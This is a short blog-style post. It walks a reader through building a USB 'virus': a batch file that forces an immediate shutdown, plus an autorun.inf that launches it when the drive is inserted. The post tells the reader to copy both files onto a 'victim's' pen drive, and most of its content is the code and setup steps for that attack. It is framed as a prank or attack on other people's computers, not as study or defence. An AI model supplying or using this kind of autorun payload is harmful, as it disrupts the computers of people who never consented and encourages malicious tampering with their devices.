How to shutdown your victim's system using pen drive ????????

In this post i will help you to make the virus to make the system turned off whenever pen drive is inserted.Step 1:
copy this code into notepad:

@echo off
shutdown -s -t 00

Save it with .bat extension (for eg: clickme.bat).
Step 2: 
      Now open the notepad and copy this code:
[autorun]
Open=filename.bat
Action=Mouse Disable

   Save it as "autorun.inf"

//don't forget to change the "filname.bat" with your filname.bat.Step 3:
         Then copy the two files in your pen drive or victim's pen drive.

That's all whenever the victim insert his pen drive,the system will be turned off automatically.